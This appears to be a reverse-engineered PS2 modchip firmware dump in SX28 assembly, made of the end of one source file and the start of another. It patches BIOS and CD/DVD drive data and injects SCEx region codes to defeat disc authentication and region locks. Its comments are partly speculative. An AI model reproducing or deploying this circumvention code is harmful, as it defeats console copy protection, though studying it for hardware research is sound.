$4d ; 82 retw $41 ; 83 retw $4e ; 84 retw $0 ; 85 retw $2d ; 86 retw $6d ; 87 retw $20 ; 88 retw $72 ; 89 retw $6f ; 90 retw $6d ; 91 retw $30 ; 92 retw $3a ; 93 retw $4d ; 94 retw $43 ; 95 retw $4d ; 96 retw $41 ; 97 retw $4e ; 98 retw $0 ; 99 retw $6d ; 100 retw $63 ; 101 retw $30 ; 102 retw $3a ; 103 retw $2f ; 104 retw $42 ; 105 retw $4f ; 106 retw $4f ; 107 retw $54 ; 108 retw $2f ; 109 retw $42 ; 110 retw $4f ; 111 retw $4f ; 112 retw $54 ; 113 retw $2e ; 114 retw $45 ; 115 retw $4c ; 116 retw $46 ; 117 retw $0 ; 118 DEV1_MODE_LOAD_START clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related finish mode run ? setb VAR_PATCH_FLAGS.1 setb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.4 mov w,#$77 mov VAR_DC1,w ; VAR_DC1 = 77h = 119 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- ;CDDVD_AREA ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ; different get sync for where patch is spc/dragon ? ;-------------------------------------------------------------------------------- jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w snb z jmp V9toV12_CONSOLE_CDDVD_START ; jmp V9toV12_CONSOLE_CDDVD_START if is #$30 = 0 ascii = 2.0 bios v12 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w snb c ; compare VAR_BIOS_REV #$37 7 jmp V9toV12_CONSOLE_CDDVD_START if is equal 37 or above jmp V9toV12_CONSOLE_CDDVD_START ; jmp V9toV12_CONSOLE_CDDVD_START for v9 1.7 - 1.9 bios V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS ; The instruction and performs bit-wise AND operation on its operands. mov VAR_PSX_BC_CDDVD_TEMP,w ; w and moved to VAR_PSX_BC_CDDVD_TEMP mov w,#$90 ; 1001 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w ; when VAR_PSX_BC_CDDVD_TEMP which has been and = 1001 0000 sb z ; VAR_PSX_BC_CDDVD_TEMP and = 1001 0000 skips V1toV8_CONSOLE_CDDVD_START loop meaning on sync jmp V1toV8_CONSOLE_CDDVD_START ; restart sync to start, V1toV8_CONSOLE_CDDVD_START if not on sync. would loop here till gets least one and = 1001 0000 decsz VAR_DC1 ; VAR_DC1 = 4 cycles V1toV8_AND_BYTE_SYNC1 counting down so 4x and = 1001 0000 jmp V1toV8_AND_BYTE_SYNC1 ; jmp V1toV8_AND_BYTE_SYNC1 if VAR_DC1 not 0 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; jmp when VAR_DC1 = 0 V9toV12_CONSOLE_CDDVD_START mov w,#$f ; only 50k+ run, dragon G patch stack ? mov VAR_DC1,w V9toV12_AND_BYTE_SYNC1 mov w,#$b0 V9toV12_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS ; The instruction and performs bit-wise AND operation on its operands. mov VAR_PSX_BC_CDDVD_TEMP,w ; w and moved to VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R mov w,#$a0 ; 1010 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w ; when VAR_PSX_BC_CDDVD_TEMP which has been and = 1010 0000 sb z ; VAR_PSX_BC_CDDVD_TEMP and = 1010 0000 skips V9toV12_AND_BYTE_SYNC1 loop1 meaning on sync start jmp V9toV12_AND_BYTE_SYNC1 mov w,#$b0 V9toV12_AND_BYTE_SYNC1_L3 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC1_L3 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ; 1011 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z ; jmp V9toV12_AND_BYTE_SYNC2 if AND = 1011 0000 jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ; 0000 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z ; skip jmp V9toV12_AND_BYTE_SYNC1 if AND = 0 jmp V9toV12_AND_BYTE_SYNC1 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV12_AND_BYTE_SYNC1 snb VAR_PATCH_FLAGS.2 ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_CONSOLE_PATCH1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_CONSOLE_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS set output start patching ? setb IO_CDDVD_OE_A_1R mov w,#$5 mov VAR_DC1,w call MECHACON_WAIT_OE mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_START_PATCH if VAR_PATCH_FLAGS.2 is set page $0000 ; PAGE1 jmp PS1_MODE_START_PATCH ; ALL_CDDVD_PATCH1_GET_SYNC_BIT all consoles run, B I H side ? ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS ; if BIOS CS is active then game is ps1. jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q ; jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT if flipflop ^Q == 1 / wait to go low (A) jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; loop ALL_CDDVD_PATCH1_GET_SYNC_BIT till IO_CDDVD_OE_A_1Q = 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so ^Q = 1 nop setb IO_CDDVD_OE_A_1R ; set flipflop ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS set output start patching ? setb IO_CDDVD_OE_A_1R ALL_CDDVD_PATCH1_POST snb IO_CDDVD_OE_A_1Q ; 0 being patched as nothing set ? after this sync jmp ALL_CDDVD_PATCH1_POST clrb IO_CDDVD_OE_A_1R mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end setb IO_CDDVD_OE_A_1R snb VAR_PATCH_FLAGS.5 jmp CDDVD_USA snb VAR_PATCH_FLAGS.4 jmp CDDVD_PAL mov w,#$10 ; JAP start 10h = 16 line jmp CDDVD_JAP CDDVD_PAL mov w,#$8 ; PAL start 8h = 8 line jmp CDDVD_JAP CDDVD_USA clr w ; USA start 0h = 0 line CDDVD_JAP mov VAR_DC2,w mov w,#$8 mov VAR_DC3,w ; set line count to run to 8 mov w,#$ff mov IO_CDDVD_BUS,w ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 mov w,#$f ; 0000 1111 mov !IO_CDDVD_BUS,w ; set rb.4 (B) rb.5 (G) rb.6 (H) rb.7 (I) output start patching RUN_CDDVD_PATCH mov w,VAR_DC2 ; VAR_DC2 moved into w, used for offset start in patch. how ea way ? call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q ; jmp RUN_CDDVD_PATCH_NIBBLE if IO_CDDVD_OE_A_1Q 1 jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w ; IO_CDDVD_BUS moved to VAR_PSX_BC_CDDVD_TEMP mov w,<>VAR_PSX_BC_CDDVD_TEMP ; nibble VAR_PSX_BC_CDDVD_TEMP into w eg turn 0110 1010 into 1010 0110 just eg not actual value ; hex just swap 2x byte digits shortcut f1 = 1f as same 4x bits just order setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 ; +1 the VAR_DC2 set for start point for region setb IO_CDDVD_OE_A_1R decsz VAR_DC3 ; set 8 here and counts down till 0 then skip the jmp RUN_CDDVD_PATCH loop. jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end snb VAR_PATCH_FLAGS.1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT if VAR_PATCH_FLAGS.1 set CDDVD_IS_PS1 clrb VAR_PATCH_FLAGS.1 snb VAR_PATCH_FLAGS.0 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 page $0400 ; PAGE4 jmp PS1_DETECTED_REBOOT FINISHED_RUN_START page $0000 ; PAGE1 call SET_RB_IO_BUS FINISHED_RUN_START_2 mov w,#$64 ; SLEEP FOR ALL = if no BIOS akt FINISHED_RUN_START_2 = IS_XCDVDMAN mov VAR_TOFFSET,w ; 30-35 sec wait for BIOS FINISHED_RUN_START_L1 mov w,#$ff mov VAR_DC3,w FINISHED_RUN_START_L2 mov w,#$ff mov VAR_DC2,w FINISHED_RUN_START_L3 mov w,#$ff mov VAR_DC1,w FINISHED_RUN_START_L4 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp FINISHED_RUN_START_P2 decsz VAR_DC1 jmp FINISHED_RUN_START_L4 decsz VAR_DC2 jmp FINISHED_RUN_START_L3 decsz VAR_DC3 jmp FINISHED_RUN_START_L2 decsz VAR_TOFFSET jmp FINISHED_RUN_START_L1 page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP FINISHED_RUN_START_L5 snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp FINISHED_RUN_START_L4 FINISHED_RUN_START_P2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output ? why call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins Hi-Z input jmp FINISHED_RUN_START_2 end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	107,483	h2oWIP/h2o-orange-F.s	;****************************************************************************** ; h2o-orange-F.hex hash 1ae7402497e2d89b244f91f453765474 ;****************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP EQU 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;note, usa jumper will make issues with f=tr as f is used as jumper to select v14 usa so currently only able to use usa v14 with restbump ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctoy also h=rw usa/pal f=tr 75k pal b2f5160bbc0fdfcc5ab2491536481363 ;USAv14 EQU 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa cc7e43c656422f79fa3472a071021821 ;JAPv14 EQU 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap fa3fe28833ecb57da793fdb45288994d ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select IO_REST = rb.2 ; ; HIGH = 1 NOT PRESSED LOW = 0 = rest down = pressed IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; LOW = CD IN, HI = CD OUT IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if set, assumption is no RW support at all on v14 unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 equ $08 ; DS 1 ; delay counter 1(small) VAR_DC2 equ $09 ; DS 1 ; delay counter 2(small) VAR_DC3 equ $0A ; DS 1 ; delay counter 3(big) VAR_TOFFSET equ $0b ; DS 1 ; table offset VAR_PSX_TEMP equ $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BC_CDDVD_TEMP equ $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect VAR_PSX_BYTE equ $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PSX_BITC equ $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_BIOS_REV equ $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR equ $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP equ $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_SWITCH equ $0F ; DS 1 ; ? 0.94 comment ; bit 0=xcddvdman mode + PSX1 region switch, 1=PSX1/PSX2 wakeup mode, 2=PSX1 PAL/NTSC , 3=PSX2 logo patch , 4=DEV1 VAR_PATCH_FLAGS equ $0E ; DS 1 ; appears to be bits set for running patch routines .0-.7 for setb an offset ;------------------------------------------------------------ ;ps1 related = VAR_PATCH_FLAGS.0 ? ;PS1 DEV1 flow flag on completing ? ;reboot flow flag = VAR_PATCH_FLAGS.1 ? ;DEV1 PS1 flag for if to run mechacon patches ;MODE_START_END_REF = VAR_PATCH_FLAGS.2 ? ;seems to be ref for mode started and mode end, cleared when finished mode run or on reset if mode was incomplete finish not checking ;clrb on PS1_BOOT_MODE to set for flow PS1_MODE ? ;V9_V12_CONSOLE_19_20_BIOS = VAR_PATCH_FLAGS.3 ? ;also v11 1.9 bios has own ps1 routine ;BIOS_UK = VAR_PATCH_FLAGS.4 ;BIOS_USA = VAR_PATCH_FLAGS.5 ;BIOS_JAP = VAR_PATCH_FLAGS.6 ;SCEX inject loop flag = VAR_PATCH_FLAGS.7 ? ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH.0 = v12 console 2.0 bios set ? ;VAR_SWITCH.1 = PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used ;VAR_SWITCH.3 = PS2_MODE ref set when TAP_BOOT_MODE only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;VAR_SWITCH.4 = DEV1 FLAG set ? ;VAR_SWITCH.5 = v14/75k+ ;set due to W for region of BIOS which decka models ;------------------------------------------------------------- ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital org $0000 ; PAGE1 000-1FF mode $000F mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mode $000A mov w,#$8 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B mov w,#$f3 mov !IO_CDDVD_BUS,w mode $000F sleep STARTUP mode $000D mov w,#$f7 mov !IO_CDDVD_BUS,w mode $000E mov w,#$be mov !IO_CDDVD_BUS,w mode $000F mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w clr fsr mode $0009 clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mode $000F snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- MODE_SELECT_TIMER ;-------------------------------------------------------------------------------- mov w,#$64 ;w = #$64 = 100 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#$3d ;w = #$3d = 61 mov rtcc,w ;load timer = 61 ,delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit ; IS TIME PRESSED FOR MODES jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_RB_IO_BUS_WAKE ;todo ;-------------------------------------------------------------------------------- mode $000A ; rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb VAR_PATCH_FLAGS.7 :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb VAR_PATCH_FLAGS.6 jmp jap snb VAR_PATCH_FLAGS.4 jmp uk clr VAR_TOFFSET jmp usa uk mov w,#$8 mov VAR_TOFFSET,w jmp usa jap mov w,#$4 mov VAR_TOFFSET,w jmp usa usa mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_TOFFSET call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_TOFFSET decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_TOFFSET,w send_end call SCEX_LOW decsz VAR_TOFFSET jmp send_end mov w,#$f mov !ra,w ret 